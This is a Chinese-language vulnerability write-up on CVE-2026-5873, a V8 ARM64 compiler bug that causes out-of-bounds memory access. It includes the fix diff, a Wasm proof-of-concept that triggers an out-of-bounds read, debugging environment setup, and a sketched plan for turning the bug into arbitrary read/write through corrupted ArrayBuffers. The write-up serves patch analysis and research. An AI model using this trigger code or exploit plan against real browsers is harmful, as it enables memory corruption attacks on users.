漏洞信息

https://www.cve.org/CVERecord?id=CVE-2026-5873

CVE-2026-5873是Google Chrome/Chromium V8引擎的越界读写漏洞

漏洞根因:V8 Turbofan编译器在ARM64后端把一个必须保持32-bit语义的index,错误折叠进了ARM64 load/store地址模式里,这会导致其丢失对其高32位的零扩展步骤,从而导致实际访存地址用到了未正确截断的值,实现越界读写

利用效果:V8沙箱内任意读写。结合其他漏洞进行沙箱逃逸后,可获得全进程空间任意读写能力,并可进一步升级为任意代码执行

V8 引擎

V8 是 Google 开发的 JavaScript 和 WebAssembly 执行引擎

一方面,它能解析JS源码,生成对应的字节码交由解释器执行,当某段代码反复执行,变“热”之后,它又能将字节码进一步编译成机器码加速执行;

另一方面,V8 还能编译和执行 WebAssembly 字节码,其在V8中有分层编译机制:

1
2
3
4
5
6
7
8
9
10
11
Wasm bytecode

Liftoff baseline compiler

快速生成机器码,先跑起来

运行一段时间后,如果函数变热:

Turbofan optimizing compiler

生成更快的优化机器码

二者关系:

1
2
Liftoff:快编译,代码质量一般,适合启动
Turbofan:慢一些,但优化更强,用于热点函数编译

漏洞定位

先安装google开发工具集

1
2
3
4
mkdir ~/tools && cd ~/tools

git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
echo 'export PATH=~/tools/depot_tools:$PATH'' >> ~/.bashrc

下载v8源代码

1
2
3
4
mkdir ~/work && cd ~/work

fetch v8
gclient sync

通过issue号定位提交日志

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
sevora@Lc:~/work/cve-2026-5873/v8$ git log --all --grep='496301615'
commit 2a2b1a2791a145d151b7254836e646d940f82a81
Author: Matthias Liedtke <mliedtke@chromium.org>
Date: Tue Mar 31 10:23:36 2026 +0200

[M138-LTS][compiler][arm64] Force explicit zero-extension of load index

This is the merge-commit for:

1) [arm64][compiler] Always emit truncation to word32
cherry picked from commit 522e74a35cf4e53c3708ea396c299bfbb29d8489
2) [compiler][arm64] Reenable implicit truncation and force
explicit zero-extension of load/store index
cherry picked from commit 4ef5cc27aa50b4a7e3096bbbffaf5058a811a2a9

(cherry picked from commit 1d0f9af486bcf6db12f33ee6aeeb6d5e50342200)

Bug: 496301615
Change-Id: I3a2624f838f8c2f2f4ed524f1c09cd781fdfded5
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7715258
Auto-Submit: Matthias Liedtke <mliedtke@chromium.org>
Commit-Queue: Darius Mercadier <dmercadier@chromium.org>
Reviewed-by: Darius Mercadier <dmercadier@chromium.org>
Cr-Original-Commit-Position: refs/branch-heads/14.7@{#26}
Cr-Original-Branched-From: 723547b98d2e75cb85556ab85479688c9fbe2f1e-refs/heads/14.7.173@{#1}
Cr-Original-Branched-From: 3fc49d4c4cd9e6202fe21f5925899292ffadb20a-refs/heads/main@{#105661}
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7725435
Commit-Queue: Gyuyoung Kim (xWF) <qkim@google.com>
Reviewed-by: Matthias Liedtke <mliedtke@chromium.org>
Cr-Commit-Position: refs/branch-heads/13.8@{#108}
Cr-Branched-From: 61ddd471ece346840bbebbb308dceb4b4ce31b28-refs/heads/13.8.258@{#1}
Cr-Branched-From: fdb5de2c741658e94944f2ec1218530e98601c23-refs/heads/main@{#100480}

commit f297f82fea9600676ba07a94e25764c6ffbd2ad5
Author: Matthias Liedtke <mliedtke@chromium.org>
Date: Tue Mar 31 10:23:36 2026 +0200

Merged: [compiler][arm64] Force explicit zero-extension of load index

This is the merge-commit for:

1) [arm64][compiler] Always emit truncation to word32
cherry picked from commit 522e74a35cf4e53c3708ea396c299bfbb29d8489
2) [compiler][arm64] Reenable implicit truncation and force
explicit zero-extension of load/store index
cherry picked from commit 4ef5cc27aa50b4a7e3096bbbffaf5058a811a2a9

Bug: 496301615
Change-Id: I3e5e13a90ad0a43768c9cd46a7ebd99d0f6a4e11
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7715044
Commit-Queue: Matthias Liedtke <mliedtke@chromium.org>
Commit-Queue: Darius Mercadier <dmercadier@chromium.org>
Reviewed-by: Darius Mercadier <dmercadier@chromium.org>
Auto-Submit: Matthias Liedtke <mliedtke@chromium.org>
Cr-Commit-Position: refs/branch-heads/14.6@{#63}
Cr-Branched-From: e04c3a1a2543bdbee7beac8846c9cbe8f657636f-refs/heads/14.6.202@{#1}
Cr-Branched-From: 3b0b01e6594ec362369dc16f069012a81748c8ba-refs/heads/main@{#105132}

commit 1d0f9af486bcf6db12f33ee6aeeb6d5e50342200
Author: Matthias Liedtke <mliedtke@chromium.org>
Date: Tue Mar 31 10:23:36 2026 +0200

Merged: [compiler][arm64] Force explicit zero-extension of load index

This is the merge-commit for:

1) [arm64][compiler] Always emit truncation to word32
cherry picked from commit 522e74a35cf4e53c3708ea396c299bfbb29d8489
2) [compiler][arm64] Reenable implicit truncation and force
explicit zero-extension of load/store index
cherry picked from commit 4ef5cc27aa50b4a7e3096bbbffaf5058a811a2a9

Bug: 496301615
Change-Id: I3a2624f838f8c2f2f4ed524f1c09cd781fdfded5
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7715258
Auto-Submit: Matthias Liedtke <mliedtke@chromium.org>
Commit-Queue: Darius Mercadier <dmercadier@chromium.org>
Reviewed-by: Darius Mercadier <dmercadier@chromium.org>
Cr-Commit-Position: refs/branch-heads/14.7@{#26}
Cr-Branched-From: 723547b98d2e75cb85556ab85479688c9fbe2f1e-refs/heads/14.7.173@{#1}
Cr-Branched-From: 3fc49d4c4cd9e6202fe21f5925899292ffadb20a-refs/heads/main@{#105661}

commit 4ef5cc27aa50b4a7e3096bbbffaf5058a811a2a9
Author: Matthias Liedtke <mliedtke@chromium.org>
Date: Fri Mar 27 11:53:00 2026 +0100

[compiler][arm64] Reenable implicit truncation and force explicit zero-extension of load/store index

Bug: 496301615
Change-Id: Ibb905e90bee08ce83ce77bd7400e716e47d61882
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7705594
Commit-Queue: Matthias Liedtke <mliedtke@chromium.org>
Reviewed-by: Darius Mercadier <dmercadier@chromium.org>
Cr-Commit-Position: refs/heads/main@{#106107}

commit 522e74a35cf4e53c3708ea396c299bfbb29d8489
Author: Matthias Liedtke <mliedtke@chromium.org>
Date: Thu Mar 26 12:52:29 2026 +0100

[arm64][compiler] Always emit truncation to word32

Bug: 496301615
Change-Id: I1c53a53bb0636cfbb03b61e522726b5f2edc3d6b
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7702193
Reviewed-by: Darius Mercadier <dmercadier@chromium.org>
Commit-Queue: Darius Mercadier <dmercadier@chromium.org>
Cr-Commit-Position: refs/heads/main@{#106068}

[1]+ Stopped git log --all --grep='496301615'

发现该漏洞的修复包含两次提交,1d0f9af486bcf6db12f33ee6aeeb6d5e50342200为合并提交,对该提交做git diff

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
sevora@Lc:~/work/cve-2026-5873/v8$ git diff 1d0f9af^ 1d0f9af
diff --git a/src/compiler/backend/arm64/instruction-selector-arm64.cc b/src/compiler/backend/arm64/instruction-selector-arm64.cc
index 16f8a4f79d1..ec76849fbeb 100644
--- a/src/compiler/backend/arm64/instruction-selector-arm64.cc
+++ b/src/compiler/backend/arm64/instruction-selector-arm64.cc
@@ -581,13 +581,10 @@ bool TryMatchLoadStoreShift(Arm64OperandGenerator* g,
OpIndex index, InstructionOperand* index_op,
InstructionOperand* shift_immediate_op) {
if (!selector->CanCover(node, index)) return false;
- if (const ChangeOp* change =
- selector->Get(index).TryCast<Opmask::kChangeUint32ToUint64>();
- change && selector->CanCover(index, change->input())) {
- index = change->input();
- }
const ShiftOp* shift = selector->Get(index).TryCast<Opmask::kShiftLeft>();
- if (shift == nullptr) return false;
+ if (shift == nullptr || shift->rep != RegisterRepresentation::WordPtr()) {
+ return false;
+ }
if (!g->CanBeLoadStoreShiftImmediate(shift->right(), rep)) return false;
*index_op = g->UseRegister(shift->left());
*shift_immediate_op = g->UseImmediate(shift->right());
diff --git a/test/unittests/compiler/arm64/turboshaft-instruction-selector-arm64-unittest.cc b/test/unittests/compiler/arm64/turboshaft-instruction-selector-arm64-unittest.cc
index f25b488d8ad..c8055c942ba 100644
--- a/test/unittests/compiler/arm64/turboshaft-instruction-selector-arm64-unittest.cc
+++ b/test/unittests/compiler/arm64/turboshaft-instruction-selector-arm64-unittest.cc
@@ -6514,13 +6514,7 @@ TEST_P(TurboshaftInstructionSelectorMemoryAccessTest, LoadWithShiftedIndex) {
m.Return(m.Load(memacc.memory_rep, memacc.result_rep, m.Parameter(0),
m.ChangeUint32ToUint64(index)));
Stream s = m.Build();
- if (immediate_shift == memacc.memory_rep.SizeInBytesLog2()) {
- ASSERT_EQ(1U, s.size());
- EXPECT_EQ(memacc.ldr_opcode, s[0]->arch_opcode());
- EXPECT_EQ(kMode_Operand2_R_LSL_I, s[0]->addressing_mode());
- EXPECT_EQ(3U, s[0]->InputCount());
- EXPECT_EQ(1U, s[0]->OutputCount());
- } else if (memacc.memory_rep == MemoryRepresentation::Simd128()) {
+ if (memacc.memory_rep == MemoryRepresentation::Simd128()) {
ASSERT_EQ(2U, s.size());
EXPECT_EQ(memacc.ldr_opcode, s[1]->arch_opcode());
EXPECT_EQ(kMode_MRR, s[1]->addressing_mode());
@@ -6574,13 +6568,7 @@ TEST_P(TurboshaftInstructionSelectorMemoryAccessTest, StoreWithShiftedIndex) {
m.Parameter(2), kNoWriteBarrier);
m.Return(m.Int32Constant(0));
Stream s = m.Build();
- if (immediate_shift == memacc.memory_rep.SizeInBytesLog2()) {
- ASSERT_EQ(1U, s.size());
- EXPECT_EQ(memacc.str_opcode, s[0]->arch_opcode());
- EXPECT_EQ(kMode_Operand2_R_LSL_I, s[0]->addressing_mode());
- EXPECT_EQ(4U, s[0]->InputCount());
- EXPECT_EQ(0U, s[0]->OutputCount());
- } else if (memacc.memory_rep == MemoryRepresentation::Simd128()) {
+ if (memacc.memory_rep == MemoryRepresentation::Simd128()) {
ASSERT_EQ(2U, s.size());
EXPECT_EQ(memacc.str_opcode, s[1]->arch_opcode());
EXPECT_EQ(kMode_MRR, s[1]->addressing_mode());

此CVE的漏洞点具体位于V8的Turboshaft的ARM64后端(IR层->机器码层)

修复前:

image-20260509183311315
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
bool TryMatchLoadStoreShift(Arm64OperandGenerator* g,
InstructionSelector* selector,
MemoryRepresentation rep, OpIndex node,
OpIndex index, InstructionOperand* index_op,
InstructionOperand* shift_immediate_op) {
if (!selector->CanCover(node, index)) return false;
if (const ChangeOp* change =
selector->Get(index).TryCast<Opmask::kChangeUint32ToUint64>();
change && selector->CanCover(index, change->input())) {
index = change->input();
}
const ShiftOp* shift = selector->Get(index).TryCast<Opmask::kShiftLeft>();
if (shift == nullptr) return false;
if (!g->CanBeLoadStoreShiftImmediate(shift->right(), rep)) return false;
*index_op = g->UseRegister(shift->left());
*shift_immediate_op = g->UseImmediate(shift->right());
return true;
}

此函数会尝试匹配类似base + (index << shift)的结构,生成ARM64中的如下指令

1
2
; 从x1 + (x2 << 3)读取数据,并将结果存到x0中
ldr x0, [x1, x2, lsl #3]

这会比先单独lsl再load少一条指令

1
2
lsl x_tmp, x2, #3
ldr x0, [x1, x_tmp]

此函数的意思是如果load/store的index是ChangeUint32ToUint64(x),那就把ChangeUint32ToUint64剥掉,直接用x

但是index可能只是语义上的32位,在物理层面上它可能仅仅是复用了一个64位寄存器的低32位,而ChangeUint32ToUint64在语义上要求零扩展,如果少了这一步会导致在实际计算地址时用到了原来高32位的脏数据,从而导致越界读写

修复后:

image-20260508234340103
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
bool TryMatchLoadStoreShift(Arm64OperandGenerator* g,
InstructionSelector* selector,
MemoryRepresentation rep, OpIndex node,
OpIndex index, InstructionOperand* index_op,
InstructionOperand* shift_immediate_op) {
if (!selector->CanCover(node, index)) return false;
const ShiftOp* shift = selector->Get(index).TryCast<Opmask::kShiftLeft>();
if (shift == nullptr || shift->rep != RegisterRepresentation::WordPtr()) {
return false;
}
if (!g->CanBeLoadStoreShiftImmediate(shift->right(), rep)) return false;
*index_op = g->UseRegister(shift->left());
*shift_immediate_op = g->UseImmediate(shift->right());
return true;
}

修复主要做了如下事情:

  1. 不再剥掉ChangeUint32ToUint64
  2. 只允许WordPtr表示的shift被折叠进load/store地址模式

也就是说只有本身index就是64位语义才能进行上述合并,从而避免了潜在的越界读写

漏洞触发

d8 是 Chrome V8 JavaScript 引擎的官方开发者命令行 Shell,是 V8 源码编译后生成的独立可执行程序,专为开发者调试 V8 引擎、分析 JavaScript 执行过程和测试 V8 功能,换言之,d8就是V8源码编译出来的可执行程序,后续复现就是编写poc.js和exp.js,交给d8执行,观测d8是否crash或者漏洞是否成功利用,从而证明V8层面漏洞的可复现性

编译d8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cd /home/sevora/work/cve-2026-5873/v8

# 修复前
git checkout 1d0f9af486bcf6db12f33ee6aeeb6d5e50342200^
gclient sync
tools/dev/v8gen.py arm64.debug
mv out.gn/arm64.debug out.gn/arm64.before
autoninja -C out.gn/arm64.before d8

# 修复后
git checkout 1d0f9af486bcf6db12f33ee6aeeb6d5e50342200
gclient sync
tools/dev/v8gen.py arm64.debug
mv out.gn/arm64.debug out.gn/arm64.after
autoninja -C out.gn/arm64.after d8

需要注意的是,由于我的电脑是x86-64架构,使用上述方法编译出来的是一个x64架构的可执行程序,只是它会通过simulator的机制来模拟arm64后端的逻辑

虽然后续的调试和利用显然不能使用这种方案,但是用于验证PoC已经足够

v8/poc.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
// Run with d8 from V8 repo root.
// Example:
// out.gn/arm64.release/d8 --allow-natives-syntax --liftoff --wasm-tier-up \
// --trace-wasm-compilation-times poc-cve-2026-5873-detector.js

d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js");

function hex32(x) {
return "0x" + (x >>> 0).toString(16).padStart(8, "0");
}

function callAndReport(name, fn) {
try {
const r = fn();
print(`${name}: returned ${hex32(r)}`);
return {ok: true, value: r >>> 0};
} catch (e) {
print(`${name}: trapped/threw: ${e}`);
return {ok: false, error: e};
}
}

function buildModule() {
const builder = new WasmModuleBuilder();

builder.addMemory(1, 1);
builder.exportMemoryAs("memory");

// read(i64 index) -> i32
//
// Wasm body:
// local.get 0
// i32.convert_i64
// i32.const 2
// i32.shl
// i32.load align=4 offset=0
builder.addFunction("read", makeSig([kWasmI64], [kWasmI32]))
.addBody([
kExprLocalGet, 0,
kExprI32ConvertI64,
kExprI32Const, 2,
kExprI32Shl,
kExprI32LoadMem, 2, 0,
])
.exportFunc();

return builder.instantiate().exports;
}

const wasm = buildModule();
const mem32 = new Uint32Array(wasm.memory.buffer);

// Sentinel values inside legal Wasm memory.
mem32[0] = 0x41424344;
mem32[1] = 0x11223344;
mem32[2] = 0x55667788;

print("[*] Initial read(0): " + hex32(wasm.read(0n)));

// Warmup with safe in-bounds calls.
for (let i = 0; i < 1000; i++) {
wasm.read(0n);
wasm.read(1n);
wasm.read(2n);
}

// Force Wasm tier-up to optimized code.
// Needs --allow-natives-syntax.
%WasmTierUpFunction(wasm.read);

// One more safe call after tier-up.
print("[*] After tier-up read(0): " + hex32(wasm.read(0n)));

print("[*] Probe A: wrap alias check");
// Semantically, i32.convert_i64(1 << 32) == 0.
// Correct behavior: should behave like read(0).
const alias = callAndReport("read(1n << 32n)", () => wasm.read(1n << 32n));

if (alias.ok) {
if (alias.value === mem32[0]) {
print("[+] Alias behavior matches Wasm semantics.");
} else {
print("[!] Suspicious: alias returned a different value.");
}
} else {
print("[!] Suspicious on vulnerable ARM64 builds: alias may trap/crash instead of reading offset 0.");
}

print("[*] Probe B: ordinary OOB check");
// 0x10000 << 2 == 0x40000, beyond one 64KiB page.
// Correct behavior: must trap.
const oob = callAndReport("read(0x10000n)", () => wasm.read(0x10000n));

if (!oob.ok) {
print("[+] OOB correctly trapped.");
} else {
print("[!] Suspicious: OOB read returned instead of trapping.");
}

print("[*] Done.");

分别使用漏洞修复前后编译出的d8去验证漏洞存在性:

1
2
3
4
5
6
out.gn/arm64.before/d8 \
--allow-natives-syntax \
--liftoff \
--wasm-tier-up \
--trace-wasm-compilation-times \
poc.js
1
2
3
4
5
6
out.gn/arm64.after/d8 \
--allow-natives-syntax \
--liftoff \
--wasm-tier-up \
--trace-wasm-compilation-times \
poc.js

测试结果:符合预期结果

  • arm64.before:用例A成功crash,用例B正常crash

  • arm64.after:用例A正常返回mem[0]的值,用例B正常crash

image-20260509220203965

image-20260509222154432

环境搭建

!本漏洞只能在macOS上复现,故可略过下述qemu-system配置部分

接下来需要对此漏洞进行进一步利用,由于这是一个v8 arm64后端编译器的洞,自然应当在arm64架构环境下去利用,所以我们需要编译一个arm64架构的d8,然后使用qemu执行

这里只对漏洞修复前的V8源码进行编译,由于debug版本充斥着大量DCHECK断言,所以编译时要将debug选项关掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
git checkout 1d0f9af486bcf6db12f33ee6aeeb6d5e50342200^

cd /home/sevora/work/cve-2026-5873/v8

gn gen out.gn/arm64.release_sym --args='
target_os = "linux"
target_cpu = "arm64"
v8_target_cpu = "arm64"

is_debug = false
symbol_level = 2

use_sysroot = true
use_siso = false

v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true

v8_enable_slow_dchecks = false
dcheck_always_on = false
'

autoninja -C out.gn/arm64.release_sym d8 -j8

本来想采用qemu-user的方案,但是qemu只要启动d8就会把我WSL内存打爆,所以后面又换成了qemu-system方案,具体如下:

qemu-system配置

安装依赖:

1
2
3
4
5
6
7
8
9
sudo apt update
sudo apt install -y \
qemu-system-arm \
qemu-efi-aarch64 \
qemu-utils \
cloud-image-utils \
openssh-client \
gdb-multiarch \
wget

新建目录:

1
2
mkdir -p ~/work/qemu-arm64-v8
cd ~/work/qemu-arm64-v8

下载 Ubuntu 22.04 arm64 cloud image:

1
2
wget https://cloud-images.ubuntu.com/jammy/current/jammy-server-cloudimg-arm64.img \
-O ubuntu-arm64.img

扩容镜像:

1
qemu-img resize ubuntu-arm64.img 40G

生成 SSH key:

1
ssh-keygen -t ed25519 -f ./id_ed25519 -N ""

写 cloud-init 配置。这个配置会在 guest 里创建 ubuntu 用户,并安装一些调试工具:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
cat > user-data <<EOF
#cloud-config
hostname: arm64-v8
users:
- name: ubuntu
groups: sudo
shell: /bin/bash
sudo: ALL=(ALL) NOPASSWD:ALL
ssh_authorized_keys:
- $(cat ./id_ed25519.pub)
package_update: true
packages:
- build-essential
- gdb
- gdbserver
- git
- python3
- curl
- wget
- vim
- tmux
- file
- strace
- ltrace
- ca-certificates
EOF

写 metadata:

1
2
3
4
cat > meta-data <<EOF
instance-id: arm64-v8-001
local-hostname: arm64-v8
EOF

生成 cloud-init seed 镜像:

1
cloud-localds seed.img user-data meta-data

接下来写启动脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
cat > run.sh <<'EOF'
#!/usr/bin/env bash
set -euo pipefail

qemu-system-aarch64 \
-machine virt \
-cpu cortex-a72 \
-smp 4 \
-m 4096 \
-bios /usr/share/AAVMF/AAVMF_CODE.fd \
-drive if=virtio,format=qcow2,file=ubuntu-arm64.img \
-drive if=virtio,format=raw,file=seed.img \
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::1234-:1234 \
-device virtio-net-pci,netdev=net0 \
-nographic
EOF

chmod +x run.sh

第一次启动会比较慢。等它刷完 cloud-init 后,另开一个 WSL2 终端,SSH 进去:

1
2
cd ~/work/qemu-arm64-v8
ssh -i ./id_ed25519 -p 2222 ubuntu@127.0.0.1

接下来需要将交叉编译好的arm64 d8和poc拷进去,但是由于d8运行还需要一系列动态链接库,所以需要把整个目录都拷进去

1
2
3
4
5
6
7
8
9
10
cd ~/work/cve-2026-5873/v8/out.gn
tar czf arm64.release_sym.tar.gz arm64.release_sym

scp -i ~/work/qemu-arm64-v8/id_ed25519 -P 2222 \
arm64.release_sym.tar.gz \
ubuntu@127.0.0.1:~/work

scp -i ~/work/qemu-arm64-v8/id_ed25519 -P 2222 \
~/work/cve-2026-5873/v8/poc.js \
ubuntu@127.0.0.1:~/work

qemu guest中解压:

1
tar xzf arm64.release_sym.tar.gz

当前网络结构:

image-20260511182554222

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Windows 主机
代理软件监听: 127.0.0.1:7890
|
| WSL localhost 转发 / 访问 Windows 代理
v
WSL / Linux 环境
qemu-system-aarch64 进程运行在这里
|
| QEMU user-mode NAT
v
QEMU Ubuntu arm64 虚拟机
IP: 10.0.2.15
网关: 10.0.2.2
DNS: 10.0.2.3

配置一下代理,QEMU的网关出口就是WSL所在的网络,而我的WSL开启了mirrored网络模式,所以WSL的127.0.0.1也指向主机,可以访问主机的代理

1
2
3
4
export http_proxy=http://10.0.2.2:7890
export https_proxy=http://10.0.2.2:7890
export HTTP_PROXY=http://10.0.2.2:7890
export HTTPS_PROXY=http://10.0.2.2:7890

gdb配置

在正式用gdb调试d8之前,还需要在qemu中配一下pwndbg和v8调试脚本

1
2
3
4
mkdir ~/tools && cd ~/tools
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

继续配置gdb v8调试支持

下载:

~/.gdbinit开头中加入source /path/to/your/gdb-v8-support.pysource /path/to/your/gdbinit

~/.gdbinit

1
2
3
source /home/ubuntu/tools/pwndbg/gdbinit.py
source /home/ubuntu/tools/gdb-v8-support.py
source /home/ubuntu/tools/gdbinit

接下来就可以愉快地在qemu中调试d8了

测试:

1
2
3
4
5
6
7
cd ~/work
gdb --args \
arm64.release_sym/d8 \
--allow-natives-syntax \
--liftoff \
--wasm-tier-up \
poc.js

image-20260511181759992

漏洞利用

相关博客

失败原因

  • 当前QEMU-SYSTEM Linux/ARM64配置下,CVE-2026-5873可以稳定得到OOB read
  • 但是在该环境下,此漏洞无法获得OOB write能力,故无法进一步获取任意读写能力,在macOS环境下或可成功复现,这是因为再macOS上编译器后端的优化更激进,会将store指令的寻址也折叠成一条,从而导致越界写

证据:v8/src/wasm/compilation-environment.h

image-20260513201355495

但是根据现有的信息,我们已经可以确定大致的利用思路

利用思路

  • 第一步:构建wasm漏洞函数

    1
    2
    3
    4
    i64 参数
    -> i32.convert_i64
    -> i32.shl
    -> i32.load / i32.store

    修复前 ARM64 Turboshaft 会把 ChangeUint32ToUint64(index << shift) 错误折叠进 ARM64 地址模式,绕过边界检查,导致高32位没有被正确清零

  • 第二步:构建OOB read/write原语

    理想状态下编译后得到的机器码:

    1
    2
    ldr w0, [x1, x0, lsl #2]   ; OOB read 
    str w2, [x1, x0, lsl #2] ; OOB write

    其中x1是Wasm memory base,x0是传入的i64 index。
    1n << 32n这类值时,Wasm语义上应该wrap成0,但漏洞机器码会访问:

    1
    wasm_memory_base + (0x100000000 << shift)

    使得未清零的高32位参与地址计算,形成OOB read/write

    注意:store指令的折叠只能在macOS上复现

  • 第三步:喷射JSArrayBuffer

    大量分配JSArrayBuffer,写入可识别的数据模式

    1
    MAGIC0, id, MAGIC1, ~id, MAGIC2, offset, MAGIC3, size

    然后再通过OOB read进行扫描,识别哪些地址落到了喷射缓冲区的数据区,注意区分如下两个概念:

    • JSArrayBuffer对象:V8 堆里的对象,里面有元数据:

      • byte_length
      • backing_store 指针
      • flags
      • detach key
    • ArrayBuffer backing store:JSArrayBuffer实际存放用户数据的内存区域

    即backing store里存的是实际写进去的数据;JSArrayBuffer对象里存的是V8元数据,扫描时扫到的是后者

  • 第四步:反向寻找JSArrayBuffer对象

    找到backing store后,反向寻找对应的JSArrayBuffer对象。目标字段包括:

    • byte_length

    • max_byte_length

    • backing_store

  • 第五步:破坏一个 ArrayBuffer
    用OOB write修改目标 JSArrayBuffer:

    • byte_length -> 覆盖成很大
    • backing_store -> 指向 sandbox base 或目标地址

    这样JS层获得一个上帝ArrayBuffer,再用DataView实现sandbox内任意读写

    在JS层创建Dataview:

    1
    let dv = new DataView(GodBuffer);

    通过如下方式可以对该Buffer内容进行读写:

    1
    2
    dv.getUint32(offset, true)
    dv.setUint32(offset, value, true)

    如果我们通过OOB write反复修改backing_store,那么OOB read/write能力就扩展成了以被篡改 backing_store 为基址的读写能力,即任意读写能力

    封装如下函数:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    function aar32(addr) {
    setBackingStore(corruptedBuffer, addr);
    return dv.getUint32(0, true);
    }

    function aaw32(addr, val) {
    setBackingStore(corruptedBuffer, addr);
    dv.setUint32(0, val, true);
    }